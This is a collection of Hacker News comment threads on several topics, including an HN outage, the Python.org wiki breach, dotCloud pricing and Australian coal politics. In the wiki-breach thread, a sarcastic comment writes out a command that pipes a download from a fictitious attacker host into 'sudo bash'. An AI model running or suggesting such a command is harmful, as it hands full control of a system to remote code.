<comment><USER13> Same here. Thanks for making this comment! I was able to spot it from viewing all the HN comments. But I couldn't view the comments for this submission by clicking it. :)

</comment></comment><comment><USER2> > Comments are not working?

I'm... Ron Burgundy?

</comment><comment><USER14> Not only do comments fail to work, you can't even login under http. https works fine though

</comment><comment><USER15> It's fixed.

</comment><comment><USER16> This also applies to attempting to login for me. When logging in, I am redirected to the front page instead of being prompted to re-enter credentials and a "bad login" alert.

This is also fixed with https

</comment><comment><USER17> wow, the new css is awesome!

</comment><comment><USER18> seems to be working again now normally.

<comment><USER19> ... are you the same Josh Who provides high quality torrents of a particular thing?

</comment></comment><comment><AUTHOR> It looks like /reply works but /item doesn't. I can't see other comments but I can make one myself.

</comment><comment><USER20> And now we wait for the post-mortem. I imagine it would have to do with some apache/nginx setting?

<comment><USER21> I'm going to make a wild guess that it's a bad 74LS00 NAND gate.

<comment><USER22> PG runs HN on his calculator? Makes sense.

<comment><USER21> Naw, this <https://news.ycombinator.com/item?id=5229488>

A good calculator (like an HP41) is hard to come by.

</comment></comment></comment></comment><comment><USER23> This is a 24/7 production issue need to be dealt right away. Anyone knows PG's beeper? :)

</comment><comment><USER24> 8:43pm CDT - They are working now without HTTPS.

</comment><comment><USER25> Why no HSTS?

</comment><comment><USER26> http is not working for me either even for login. I just switched to https.

</comment><comment><USER27> This comment.

Proof by counter-example.</comment>


The Myth of Europe's Little Ice Age - <AUTHOR> http://www.voxeu.org/article/myth-europe-s-little-ice-age <comment><USER2> Did the authors take the expansion of Norwegian glaciers into account?

There's a glacier arm in Norway named after the farm it swallowed during the Little Ice Age: [http://en.wikipedia.org/wiki/Nigardsbreen#History](http://en.wikipedia.org/wiki/Nigardsbreen#History)

> Between 1700 and 1748, the glacier moved forward about 4 kilometres (2.5 mi) > completely covering and crushing the "Nigard" farm (hence the name of the > glacier). By 1748, the Nigardsbreen covered about 48 square kilometres (19 > sq mi). From 1930 until 1939, the glacier retracted again.</comment>


Daily Kos: My iPad as a tool - <AUTHOR> http://www.dailykos.com/storyonly/2010/4/11/856114/-My-iPad-as-a-tool <comment><USER2> Argument is undermined by the citation of the Xbox, a notoriously unreliable device, as a triumph for the reliability of closed systems.</comment>


Python.org Wiki has been Attacked - <AUTHOR> http://wiki.python.org/moin/WikiAttack2013/ <comment><USER2> I know that we expect our volunteer Open Source Language leaders to be exemplars of best practise and always on the ball, but there is never enough volunteers or enough funds to pay for all the sysadmins you need.

But my first reaction here is "There, but for the grace of God, go I"

Embarrassing yes. End of the world, no. Heads to roll ? No, but arse to be kicked yes. Won't happen again will it.

</comment><comment><USER3> > our most recent backup dates back to June 24 2012

And therein lies the problem of disaster recovery. Even if you have a catastrophic bug, you should not be losing 6 months of data.

<comment><USER4> They state that the attack possibly occurred the next day, so it is possible that the attacker did disable backups.

<comment><USER5> This is why write-only backups aren't just a good idea; like gravity, it's the law. I know funding for these things are on a shoestring budget, but there should have been an external service to ensure backups are being made on a regular basis. Or else, you don't know something's wrong until something's really, really wrong.

</comment></comment></comment><comment><USER6> I might have some data gotten through crawling them with Nuuton. Anyone from their team here? I'm going to check. Though not very positive, because I'm not currently scrapping ever single page completely.

 _Bad news update:_

I had not covered the wiki yet. The crawler seems to have ventured off to SO (the crawler runs 24/7 by itself). I'm so sorry. :(

<comment><USER7> Not to sound rude but what are you talking about? Why are you even apologizing?

<comment><USER8> I think he's saying that he set up a web crawler to scrape python.org, and he was hoping that in the process it had made copies of those Wiki pages. He's apologizing that, as it turns out, the crawler did not make it to those pages after all.

<comment><USER6> Exactly. I thought my crawler had covered all of python.org, but it strayed off to stack overflow. Had not noticed due to the sheer amount of data it goes through. On one side, this sucks because I cannot help put the wiki back online. One the other, this led me to discover this bug.

<comment><USER9> I'd expect they'll find a way to restore the wiki content. The bigger concern is that someone downloaded their password file.

</comment></comment></comment></comment></comment><comment><USER10> Couldn't someone at Google provide a dump of the wiki. Assuming that they have it in their page cache they might be willing to help, given they seem to be one of the largest organizations using Python.

<comment><USER11> From the article. "It turned out that the Google cache was unusable for the task due to a surge protection on their site."

<comment><USER12> Right, but some of us thought that meant the Python folks couldn't use it because Google's servers were limiting the rate of GET requests for the cached pages. I.e. the data is inside Google but difficult to get out quickly (without Google's specific help).

<comment><USER11> Ahh, yes. Your interpretation makes more sense than mine.

</comment></comment></comment></comment><comment><USER13> What compels someone to destroy documentation for an open source project?

<comment><USER14> Alfred Pennyworth: Well, because he thought it was good sport. Because some men aren't looking for anything logical, like money. They can't be bought, bullied, reasoned, or negotiated with. Some men just want to watch the world burn.

</comment></comment><comment><USER15> No backups since June 24, 2012?!

<comment><USER16> Just as disturbing: "The attack used on the wiki was apparently the same as the one which hit Debian" [on 2012-07-25]

The exploit was out there and had been used to hit debian.org in a big way, and had been fixed. But python.org didn't update MoinMoin or check whether their MoinMoin installation hadn't been compromised until their data got deleted about half a year after the original exploit :|

<comment><USER17> No, not really.

Debian Timeline

2012-07-25: Debian's MoinMoin was exploited (due to what is eventually called CVE-2012-6081).

2012-10-18: First use of the backdoor.

2012-10-28: Theft of email addresses, password hashes and reCAPTCHA key.

2012-11-09: Last use of the backdoor.

2012-12-28: We are informed about a potential security issue in MoinMoin by the friendly people at dyne.org.

From: <http://wiki.debian.org/DebianWiki/SecurityIncident2012>

<comment><USER18> And many other people have been affected (probably everyone decent sized site running MoinMoin): MoinMoin itself, Mercurial, also I think FreeDesktop. I wonder if Ubuntu was too.

</comment></comment></comment></comment><comment><USER19> "We were subsequently approached by the person who ran the rm -r * " ... " It is also obvious that the people who installed the plugin, had different intentions than causing easy to detect damage on the system."

Seems like a case of a script kiddie who got the login information from someone else...probably doesn't know his way around Linux too well and thought it would be funny to run a few commands, then got scared once he realized what he'd done and fessed up

</comment><comment><USER20> Given that this is the same attack of Jan 5, about which we have already seen posts, and has not indicated a bug in anything except MoinMoin and PSF's systems administration staff, I wonder why this is being posted again today, with a headline which could easily be taken to suggest a fresh attack.

</comment><comment><USER9> When this happens on sites run by tech-savvy folks, it makes me wonder: How frequently is this happening (and going undetected) on sites with less savvy admins?

</comment><comment><USER21> This reminds me when divmod.org was attacked. The site has been "temporarily" offline for years now. It's really sad because divmod had some quality Python libraries which have never become popular because they have no documentation; the documentation was destroyed when the site was attacked.

</comment><comment><USER22> > The VM was rebooted on Jan 7, apparently in an attempt to get things working > again.

Who rebooted the VM? If it was the attackers, this implies that they had root. But the post only states that they could execute code as the moin user.

</comment><comment><USER23> And the article links to the wiki... if it's been compromised, how should I know it's now safe to visit?

</comment><comment><USER24> Oh Darn ! So that wiki page saying that I should run `curl <http://sketchyhackers.cc/exploit> | sudo bash` wasn't legit ???

</sarcasm></comment>


An Attempt at Understanding the Canadian Income Tax System - <AUTHOR> http://blog.citizenscode.org/2016/04/27/canada-how-much-income-tax-you-pay/ <comment><AUTHOR> This was my first major project using D3 so there was a bit of a learning curve to get it to do what I wanted, but I was happy with the results in the end. I relyied heavily on D3Kit to allow the charts to be responsive, and Google Docs/Tabletop to manage the data.

While a lot of the charts appear simple, there was a lot of work done long before I could even get to the point of making a plot by combining all the different tax rates. It turned out to be a much larger project than I expected.</comment>


Flask REST example - <AUTHOR> https://github.com/franciscosouza/flask-rest-example <comment><USER2> Hi, you did not test it?</comment>


DotCloud updates pricing, uses new elastic pricing model - <AUTHOR> https://dotcloud.com/pricing.html

<comment><USER2> This is easily one of the worst pricing pages I have ever seen.

Your pricing scheme is extraordinarily complex and the page does the poorest possible job at explaining anything. Heck, it doesn't even mention that RAM is your discriminator - it simply implies it as if that was natural.

Moreover none of the terms are explained (what is "Vertical Scaling", what is "Proportional to application memory")...

There is not even a calculator/slider to get a rough idea of _actual_ cost without engaging in Excel-gymnastics.

You should seriously get outside help for this.

<comment><USER3> Hi moe, thanks for the feedback,

I suppose it's the elastic nature of the pricing that you find complex? I can't disagree with you, it is less straightforward than flat monthly plans. However it _is_ what litteraly thousands of developers have been asking us for over the last year. Our previous pricing was focused on simplicity... but ended up sweeping the reality of our product under tbe rug.

I think you're right that we don't explain enough on the pricing page. Our concern was text overload., but there's probably a balance to be found.

What about the content - any opinion on our actual pricing?

<comment><USER4> Not the elastic nature, more that it takes longer than it should to understand what the drivers are. If everything is related to memory and memory only goes up in 32MB chunks, have a slider/radio/dropdown/whatever that moves memory and related resources simultaneously, with a per-hour and monthly charge that's auto-updated.

I think it's important to note that the page is about pricing, but 99% of the info isn't a price. Above the fold there's only one price, which you have to use in calculating the actual value yourself. Way, way down are the examples, but they might or might not represent what a customer's workload will look like, so they still don't really have what they came to the page for. Getting the customer their own price, super-fast, (assuming it's a good one) is the path to showing why you guys are so fantastic.

<comment><USER3> All good feedback. However the one giant caveat is that most developers _don't know_ how much memory their application needs.

<comment><USER5> Most people don't know how much disk space an email takes, it didn't stop Gmail from just giving 2gb free disk space.

<comment><USER6> But 2gb sounds like a lot and 32mb sounds like nothing. When a service like rackspace _starts_ at 256mb you wonder just what you are getting.

<comment><USER3> What you're getting is the ability to deploy linux containers with very fine- grained control over resource allocation. Maybe you're using redis as a job queue, or to hold a handful of counters. Maybe you're running nginx to serve static assets with custom rewrite rules. You can run it dotCloud and pay peanuts - knowing that you're one "dotcloud scale" away from all the gigabytes of ram you can eat.

</comment></comment></comment></comment></comment></comment></comment><comment><USER7> Every time I see a cloud pricing page, I think "this is 100x more expensive than my 50 Eur Hetzner server".

It's hard to get excited when I see 1 GB of total RAM costing $350 when my 24 GB, 2 TB, i7 server costs $60. Sure, scalability, blabla, but if you're talking startup-friendly, then a dedicated server is hundreds of times cheaper.

I always regret getting a Linode box for historious rather than a Hetzner server.

<comment><USER8> +1 Everyone agrees with you that dedicated boxes rented from companies like Hetzner are a much better deal for what resource you get for your money.

However managing servers is a form of technical debt. A lot of private corporate and public web apps are written, deployed, and not changed much assuming that they do what people need. "Set and forget" PaaS reduces technical debt.

That said, I have been thinking myself of getting one large memory Hetzner box to replace machine learning and other background stuff that I might otherwise do with Elastic MapReduce. Scale vertically rather than horizontally.

<comment><USER7> I definitely agree with you. This is why, nowadays, I design all my deployments to be repeatable, and document what cannot be (not much, so far).

I get a Hetzner box that I know will probably last me for the lifetime of the app. If it doesn't, and I actually _have_ ten million users, I have a good problem, and will study how to overcome it at that point.

I think I don't need the cloud until I need a fourth dedicated server. That sounds like a good rule of thumb. It also depends on your growth rate, if it looks like another server will last me another five years, why pick a cloud offering?

I think that EC2/dotcloud/etc are pretty close to the metal anyway, it seems to me that you get the high prices with fewer benefits. Can someone tell me what the advantage of EC2 is, given that each dedicated server has 32 GB RAM and no contention, and that EBS is known to be _really_ flaky?

<comment><USER9> While you're right that EC2 is pretty close the metal, dotCloud starts at a very different level of abstraction. On most VPS providers (as with dedicated hosting) the first question you answer when you go to deploy your web app is "what Linux distro do you want to run?" If you're trying to learn sys admin skills, that's great, but for most people, the end goal is to deploy a web app, not run a Linux box.

With dotCloud, you start higher up: list the components (eg Python web frontend, MySQL and Redis) that make up your actual application, push your code and you're handed back a URL with your app running. A single command lets you scale out for reliability, with load balancing across your multiple web front-ends and master-slave replication for your databases. Running a single physical server? Sure, not _that_ hard. Setting up reliable, automated failover for every component in your stack? That's a bit more work.

In the end, it's really a question of the value of your time. Can you do all your own sys admin work? Sure. You could also build and maintain your own hardware, but from the sounds of it, you've decided that work is worth outsourcing Hetzner.

In the same way, for a lot of people, wasting time administering servers is just time taken away from building a real business: a distraction that is worth paying a few extra dollars a month to make disappear.

</comment></comment></comment></comment><comment><USER10> The sample budgets are nice, but why not just say "$4.32 per 32MB of RAM per month".

Also, what's with the jump from $8 to $80? Seems like quite a few people would be interested in hosting something between those two price points...

</comment><comment><USER8> I just wrote about this ([http://blog.markwatson.com/2012/06/more-on-paas-new- dotcloud...](http://blog.markwatson.com/2012/06/more-on-paas-new-dotcloud- pricing-and.html)). I wonder if the free sandbox vs. "live" setups will encourage more developers to transition to paid services, and not permanently host small web apps for free.

<comment><AUTHOR> Well, what's the value in the free, small web apps? Ultimately some money, and maybe even a small company's worth of money, but not enough to affect the bottom line of a company the size of what dotCloud is aiming for.

Being able to get little apps up and running quickly for free (just like on Heroku) is a great marketing tool, and a feeder for bigger accounts. Any app that's serious will quickly outpace the sandbox (horizontal/vertical scaling, failover, loadbalancing, etc.) And there's little point in trying to extract value from apps that aren't generating enough value themselves.

Seems like a very smart move to me.

</comment></comment><comment><USER11> I don't understand the sample budgets -- is that cost per hour? day? week? month? Why don't they specify something as basic as that somewhere?

<comment><USER3> Hi Pieter, sample budgets are per month. We'll update the page to make it clearer. Thanks for the feedback!

<comment> X-Istence Looking at the sample pricing I am having a hard time understanding what that means for a simple website for example...

Lets say I have a Python Django app that gets 10k hits a month, and it uses PostgreSQL on the backend. What will that set me back? How will I know how much memory to scale by?

I am an engineer and I find this extremely difficult to grok...

<comment><USER12> Well, it's impossible to give an universal response. It's like trying to guess how much you will pay on gas on your daily commute without knowing the distance or the kind of car you're driving.

It depends how much work is done in each "hit". If 99% of those 10k hits are to display the 10 most recent entries in a table, a very small setup will take you very far. A couple of 96 MB Python front-ends, 64 MB for SQL, you would pay maybe about $40/mo for a decent setup.

Now if most of the hits trigger complex geographic queries against a database of millions of records, with a high write/read ratio, it's a whole different story. You need to know about the size of your working set (you can then infer your database memory requirements), and have a rough idea of the average request time and concurrency (to infer your number of workers, if you're using a synchronous server like most deployments of Django or Rails).

While the "per-megabyte" price will be higher than "raw hosting", keep in mind that the granularity will allow you to do huge savings. Instead of paying for this 1.7 GB instance, you can pay for just 200 or 300 MB of RAM if that's what your app requires :-)

</comment></comment></comment></comment><comment><USER13> I like to use this for my redis setup...what about the data backups for the persistent data..do you manage that?..If yes..what is the frequency ? I think you should provide more data for database services..especially for redis about the memory, disk space & connections. I like to move from redistogo if comparable metrics are provided.

</comment><comment><USER14> There are 512, 32MB chunks in a 16GB RAM server (let's say with overhead, you need 32GB RAM). $512 * $4 = over $2000 per month, for a single server that you can buy for about $2000 and colocate for maybe $100-$150 per month.

Sure, you can buy it in little pieces, and sure, it is managed, but really!

</comment><comment><USER15> Suddenly this service became a lot more interesting to me

</comment><comment><USER16> The grey, grainy background makes for really bad contrast on the website. The layout seems nice, but the contrast brings down the readability and aesthetics orders of magnitude.

I can imagine colour-blind or bespectacled users find it particularly straining to read.

</comment><comment><USER3> Hi all, thanks for all the feedback!

We've pushed an update to the pricing page based on your suggestions: <https://www.dotcloud.com/pricing.html>

<comment><USER17> The top complaint was typical hyperbolic contrarianism. The first page provided the basics well enough for you to get feedback on where to improve. It wasn't that bad.

Links to more explanations (i.e. horizontal vs. vertical scaling, details of CPU resources, memory allocated to sandbox apps, etc.) and a cost calculator would be sufficient. Now you've taken away information.

</comment></comment><comment><USER18> in the $172.80 sample you have a typo: "PostreSQL"

<comment><USER19> Thank you for letting us know, we will get that fixed.</comment></comment>


Holding a Program in One's Head (2007) - <AUTHOR> http://paulgraham.com/head.html

<comment><USER2> _Maybe we could define a new kind of organization that combined the efforts of individuals without requiring them to be interchangeable. Arguably a market is such a form of organization, though it may be more accurate to describe a market as a degenerate case—as what you get by default when organization isn't possible._

It's interesting to read this as I'm reading Jonathan Wilson's _Inverting the Pyramid_ , a tactical history of soccer. One of the great divides is between teams that adapt their players to a tactical system and teams that adapt their tactical system to the strengths of their players. One of the interesting paradoxes is that the Dutch tactic of "Total Football" relied upon the players on the field literally interchanging positions from front to back, and yet it was designed in order to suit the mentality and talents of Johan Cruijff.

</comment><comment><USER3> Might as well mention an earlier paulgraham.com: <http://www.paulgraham.com/gh.html> ("Great Hackers") - here's a tiny summary that misses a lot:

      - Some programmers (using paulgraham's term) are orders of magnitude more
        productive
      - They're often motivated by the tools they get to use
      - They're also motivated by interesting ideas/challenges

</comment><comment><USER4> > It's striking how often programmers manage to hit all eight points by > accident.

The paragraph following sounds plausible, but I've never heard of this resulting in a successful product for a company. The closest I can think of is gmail - but that was in google's officially sanctioned 20% time. Examples anyone?

<comment><USER5> I hit most of the 8 points when I wrote a mobile app in my free time as an intern. It provides remote monitoring of our hybrid battery lab (we staff one shift, test 24/7). It's not a product, per say, but our lead test engineers use it daily. :)

<comment><USER6> Just FYI, it's "per se", not "per say" : latin for "by itself".</comment></comment></comment>


Plato – A document reader for Kobo's e-ink devices using Rust - <AUTHOR> https://github.com/baskerville/plato <comment><AUTHOR> I came across this project on the Rust subreddit: [https://www.reddit.com/r/rust/comments/7iu7q8/plato_a_docume...](https://www.reddit.com/r/rust/comments/7iu7q8/plato_a_document_reader_for_kobos_eink_devices/).

It's neat the Kobos have a removable microSD card and run Linux and can be easily hacked/customized.</comment>


In Australia, Coal Remains King - <AUTHOR> https://www.bloomberg.com/news/features/2019-05-07/in-australia-coal-remains-king-despite-climate-fears <comment><USER2> >> This might be about to change as Australia has an election due in the next few week.

Unfortunately, the opposition is also backed by the CFMEU (Construction, Forestry, Maritime, Mining and Energy Union) which includes the Mining & Energy workers.

As such, the opposition isn't likely to take action that threatens the jobs of union members.

The other thing to remember is that minerals dwarf all other parts of the Australian economy. Turning off coal will tank the Australian economy, this represents a real challenge for any prospective government.

We've already seen what happened to the Australian dollar when China's northern port of Dalian banned imports of Australian coal and will cap overall coal imports from all sources for 2019 at 12 million tonnes.

Australia rapidly needs to grow other industries. An obvious place to start would be to recreate the manufacturing industries that have all but been destroyed[1].

[1] Written as someone with an electronics manufacturing business in Australia.

<comment><USER3> There's one thing I'm wondering about... I understand that the coal-friendly parties don't want to restrict mining. But what are they saying about export and demand and markets and all that?

Coal has few friends on the buyer side. There seems to be real chance that the demand for Australian coal drops by >50% in the next few years. What are the coal-friendly parties in Australia saying about that?

<comment><USER4> > Coal has few friends on the buyer side

Which type: metallurgic (used to make steel) or thermal (for power)?

Metallurgic coal is the more expensive, loved kind (as you need it to make buildings) and that is what Australia produces, at ~40% of total exports by volume (not sure via value). [https://minerals.org.au/sites/default/files/181012%20Commodi...](https://minerals.org.au/sites/default/files/181012%20Commodity%20Insights%20Met%20Coal%20Report.pdf) BTW: that is 3X the next biggest metallurgic coal exporter (the USA).

> There seems to be real chance that the demand for Australian coal drops by > >50% in the next few years

Where are you getting that figure from? Coking coal looks pretty solidly in growth from what I know.

<comment><USER3> I base that on a combination of two assumptions:

1\. Coal is used for for generating electricity because it's the cheapest. Its buyers aren't loyal friends, its buyers want the cheapest.

2\. The price for new wind/solar plants is dropping quickly, and if that goes on at the same rate as recently, then at some point in the next few years, building new wind/solar plants becomes a cheaper source of electricity than operating existing coal-fired plants.

The price might not go on dropping, but I think there's a real chance it does, and if it does drop far enough and coal's customers actually want the cheapest, then one of the two key markets for coal withers as fast as customers can switch.

EDIT: That ">50%" might be high. I glanced at wikipedia: "About 75% of coal mined in Australia is exported […] and of the balance most is used in electricity generation" and: "Coking coal generated A$22.4 billion of export revenue in 2012/13 financial year with thermal coal bringing in A$16.1 billion". But I mixed up value and volume.

</comment></comment></comment></comment><comment><USER5> This might be about to change as Australia has an election due in the next few week.

The current government is very much pro-coal and have spent the last six years working hard to hinder the renewable sector.

The opposition is much more renewable friendly.

The polls suggest there is a growing mood in the community for action on climate change, which might see the current government removed. Time will tell.

However if the current government do manage to hang on then Australia's love of coal will definitely continue for at least the next three years.

<comment><USER6> The opposition has spent the last several years pushing the Adani mine through in Queensland.

</comment></comment><comment><USER7> Same day: [https://www.abc.net.au/news/2019-05-09/uk-coal-free- week/110...](https://www.abc.net.au/news/2019-05-09/uk-coal-free- week/11095220)

"Britain records first coal-free week since the Victorian era, thanks to gas, nuclear power and renewables"

(Admittedly, that was 56.7% natural gas, so not nearly as renewable as I'd like...)

<comment><USER8> Natural gas is a much less dirty source at least.

<comment><USER9> Right, two thirds of the energy of natural gas comes from the hydrogen atoms which, when burned with oxygen, produce water.

On the other hand burning "beautiful, clean coal" only yields CO2 and a bit of SO2.

<comment><USER10> >two thirds of the energy of natural gas comes from the hydrogen atoms which, when burned with oxygen, produce water

Natural gas, being mostly methane, has the highest proportion of hydrogen of any fossil fuel, but it still emits at least 50% of the CO2 of coal for the same energy production:

[https://www.eia.gov/tools/faqs/faq.php?id=73&t=11](https://www.eia.gov/tools/faqs/faq.php?id=73&t=11)

</comment></comment></comment></comment><comment><USER11> Australia has all the "primary ingredients" for a world class renewable energy industry: highly educated population, abundant sun and wind and a history of technology innovation (wifi for starters).

Why oh why are we not investing more in the manufacturing of renewable energy products and services?

<comment><USER12> Coal is also used to manufacture steel ...

<comment><USER13> About 15% of hard coal is used for steel, i.e. we could reduce coal production by at least 85%.

</comment></comment></comment><comment><USER14> "Coal is abundant worldwide so if Australia doesn't supply it, somewhere else will, but it will be of a lesser quality."

If this is true then the only reason not to approve the coal mine from a CO2 perspective is to increase the cost of coal, thereby making renewables more attractive. You can effectively accomplish the same thing with taxes.

Australia should tax the mine as much as it can without pushing it off shore, and focus on reducing its own carbon emissions.

<comment><USER15> I believe a fair portion of Australian coal is metallurgical coal, used for steelmaking, and so isn't really substitutable with renewables.

<comment><USER5> Australia exports vast amounts of both coking (i.e. steelmaking) and thermal (i.e. electricity) coal.

The _coal fight_ currently going on here in Australia is over the new Adani mine which is a thermal coal mine.

<comment><USER15> Huh, I was basing my statement on a conversation I had a couple of weeks ago with a geologist who works in the industry, and said it was producing metallurgical coal. That'll teach me not to cross-check my sources...

</comment></comment></comment></comment><comment><USER16> There's a great profile on Australia's complex climate politics and rising fossil fuel exports made by carbonbrief: [https://www.carbonbrief.org/the- carbon-brief-profile-austral...](https://www.carbonbrief.org/the-carbon-brief- profile-australia) Highly recommended

 _Australia had the world's 15th largest greenhouse gas emissions in 2015 and its citizens' per-capita contribution is around three times the global average.

It is the world's second largest coal exporter and recently became the top exporter of liquified natural gas (LNG). Its electricity system remains heavily reliant on coal, despite ramping up the use of gas and renewables, especially rooftop solar.

It is also highly vulnerable to the effects of climate change, including extreme heat, drought, bushfires and agricultural impacts.

Based on its current trajectory, Australia is off track on its international pledge to cut emissions 26-28% by 2030 compared to 2005 levels._

</comment><comment><USER17> This is largely because our politicians have been corrupted through generous donations, aka, bribes. The greens are looking to reform the legalities of those donations for this very reason.

<comment><USER18> I agree that the coal industry does have a big influence over both parties. I'm sure donations do have a big influence but I think there is also the fact that coal mining does contribute a significant amount to the economy as outlined in the article. Also labour is influenced by the fact that its member unions represent members that are employed in coal mining. I agree with the greens to some extent. Coal mining is definitely bad for the environment, puts the barrier Reef at risk and contributes to global warming. It's easy to say just ban the Adani mine but you need to have a real plan to replace the economic loss and the loss of jobs. Tourism and technology and green industries are the obvious areas to target but there needs to be a real plan as opposed to hand waving and broad statements.

</comment></comment><comment><USER18> A very well written article that covers all sides of the debate. This issue has all but paralyzed the government of the country for at least the last three parliaments. It looks like this election will still be close with no side being able to win a commanding majority. Unfortunately it looks like we are going to get more of the same indecision and inaction.

</comment><comment><USER19> australia is a continent nation that has been out of ecological equilibrium for at least 200 years. for the previous 100,000 years the human population was wide spread and used aggressive mass burning of the land to hunt and gather resources. the types of plants and animals that developed in this forced selection event are hardy, drought resistant, fast growing and vastly underutilized by the settler-colonial civilization that developed. the introduced species: cats, dogs, horses, cows/water buffalo, camels, toads, rabbits, deer, goats, pigs, foxes, are causing mass extinction of native fauna species which are either prey or cannot compete in their environmental niches. honey bees thrive in australian conditions since they are bred for efficient pollination and can work almost year round with mild australian winters. ironically the flammable flora is spreading faster than it can be control burned, causing catastrophic wildfires across the habitable coastal and inland regions which get progressively worse every year.

the solution is clearly to promote harvesting of introduced species at scale, while also creating an export market around unique australian products from flora and fauna - because of the lack of natural predators and the general disinterest in controlling their population as a food resource - kangaroos, a native species, are breeding completely out of control and rapidly exhausting their natural environments, and the giant inland deserts grow bigger every year. you add to this powder keg a general lack of understanding between a remote and rural population which must deal with in-climate conditions mentioned above and a well meaning but uninformed city population which fails to grasp the situation and wants to promote a laisse faire attitude towards sound ecological management and you get political wedges which always tiptoe around the major issue.

the idea that australia will create some sort of tech hub to compete with india, china, south korea, japan, singapore, hong kong etc is ridiculous. look at a world map and corresponding population density.

<comment><USER20> I wouldn't say there is a disinterest in kangaroos as food, it is a difficult thing to scale though - 8ft+ fences, on farm slaughtering/butchering because you can't really transport them alive

Maybe if we started selectively breeding them they would be farmable in a few hundred years?

<comment><USER21> More that the hyper-efficient food supply chains of modern supermarkets demand rigourous reliability, which industrialised growing and slaughtering of cows, pigs and chickens can provide, but hunting kangaroos cannot.

I also suspect that when considering transportation costs, chicken farming is probably more energy efficient than industrialised kangaroo farming. If Australia had a more developed hunting community, it would provide a good protein source for rural/regional communities though - like deer and boar do in the USA.

Why not introduce Kangaroos into the wild in the USA or other landmasses, if they are ecologically efficient?

<comment><USER14> That's a dangerous game. Australia played it many times and paid the price. I don't think that they'd be so ecologically efficient in a different habitat.

A change in Australian culture to eat more kangaroo might help a lot.

</comment></comment></comment></comment><comment><USER22> > The first in a three-part series

Next chapters? Indonesia[1]... Poland...[2]

Coal is doing "good" despite green energy hype.

[1] [https://www.asiatimes.com/2019/04/article/film-exposes- indon...](https://www.asiatimes.com/2019/04/article/film-exposes-indonesias- coal-industry-abuses/)

[https://youtu.be/9f4yD44blpw](https://youtu.be/9f4yD44blpw)

[https://youtu.be/qlB7vg4I-To](https://youtu.be/qlB7vg4I-To)

[2] [https://www.theguardian.com/environment/gallery/2018/dec/14/...](https://www.theguardian.com/environment/gallery/2018/dec/14/poland- deadly-coal-addiction-in-pictures)

[https://www.ft.com/content/674ce754-6b9b-11e9-80c7-60ee53e66...](https://www.ft.com/content/674ce754-6b9b-11e9-80c7-60ee53e6681d)

</comment><comment><USER23> "The chief executive of Adani's Australian mining division, Lucas Dow, rejects concerns that Carmichael will create any damage to Australia—or to the world. "

There was a recent incident where environmental damage has been caused by the same company at the same port they'd use for the new mine: [https://www.abc.net.au/news/2017-05-03/adani-faces-multi- mil...](https://www.abc.net.au/news/2017-05-03/adani-faces-multi-million- dollar-fine-over-sediment-water/8494398)

Adani's use of the British Virgin Islands as a tax haven (backing up cam_|'s point about profits from Australia's massive mineral deposits flowing overseas): [https://www.abc.net.au/news/2017-10-02/adanis-tax-haven- ties...](https://www.abc.net.au/news/2017-10-02/adanis-tax-haven-ties-to- british-virgin-islands-revealed/9007714)

The above is relevant to current politics as multi-national tax avoidance / evasion / minimisation has been a hot topic in the last 12 months.

Australia's "leadership" has really dropped the ball on preparing Australia for a changing economy, and it's the people that depend on coal for their day- to-day livelihoods (not the fucking investors) that are left holding the bag. There is no national plan with how to deal with displaced miners (as far as I know).

The Labor party (not to say they're overall much better than the current government at decent leadership) tried to improve Australia's communications infrastructure with their Fiber to the Home NBN project, but that's now less than a shadow of what it could have been, and the political will to repair it just doesn't exist. Add to that the recent laws about mandatory data retention and legislating the ability to secretly force developers to add backdoors into their software, and Australia's reputation in the growing "digital economy" stakes has being going in the wrong direction for nearly a decade.

Australia, with it's plentiful sunshine and wide open spaces had an opportunity to lead the world in renewables, particularly solar. Nope, fumbled that too. For the last seven years there's uncertainty around government policy and funding for solar and wind farms, so there just aren't the number of projects that there would have been with a bit more federal encouragement. Much of what's been built in the last few years has been a result of progressive state governments.

Australia got the biggest lithium battery in the world in a well-publicised deal with Tesla / Elon Musk. The Prime Minister and his party ridiculed it rather than celebrating being the leadership of a progressive country - because it was implemented by the state, not federal, government. That's how pissy Australian politics has become.

Ironically, agriculture is another of Australia's great strengths, and that's already feeling the effects of climate change with the increasing frequency of "once in a hundred years" scale floods in Queensland, and almost annual EL Nino and La Nina weather patterns (which are the two extreme ends of the spectrum). Not that agriculture is particularly environmentally-friendly, depending on what agriculture it is, but it's a more permanent economic base than minerals.

There are too many powerful people in Australia who got to where they are because of, primarily, coal. It's understandable that they're defending it to the hilt, it's human nature to cling to what you know. Unfortunately, in this case, as a group they're powerful enough to hold back the entire country and only an election has a chance to loosen the grip just a little bit. Evidence of the dangers of being a one-trick-pony too successfully for too long.

<comment><USER24> Don't forget the fumbling of the Murray Darling river ecosystem where farmers just suck up all the water out of it, leaving nothing for downstream. Without better management of this resource I don't know how much longer Australia will have an agriculture industry.

<comment><USER23> A couple of articles about that:

[https://www.abc.net.au/news/2019-01-08/second-fish-kill- in-d...](https://www.abc.net.au/news/2019-01-08/second-fish-kill-in-darling- river-at-menindee/10696632)

[https://phys.org/news/2019-01-million-dead-fish- environmenta...](https://phys.org/news/2019-01-million-dead-fish- environmental-australia.html)</comment></comment></comment>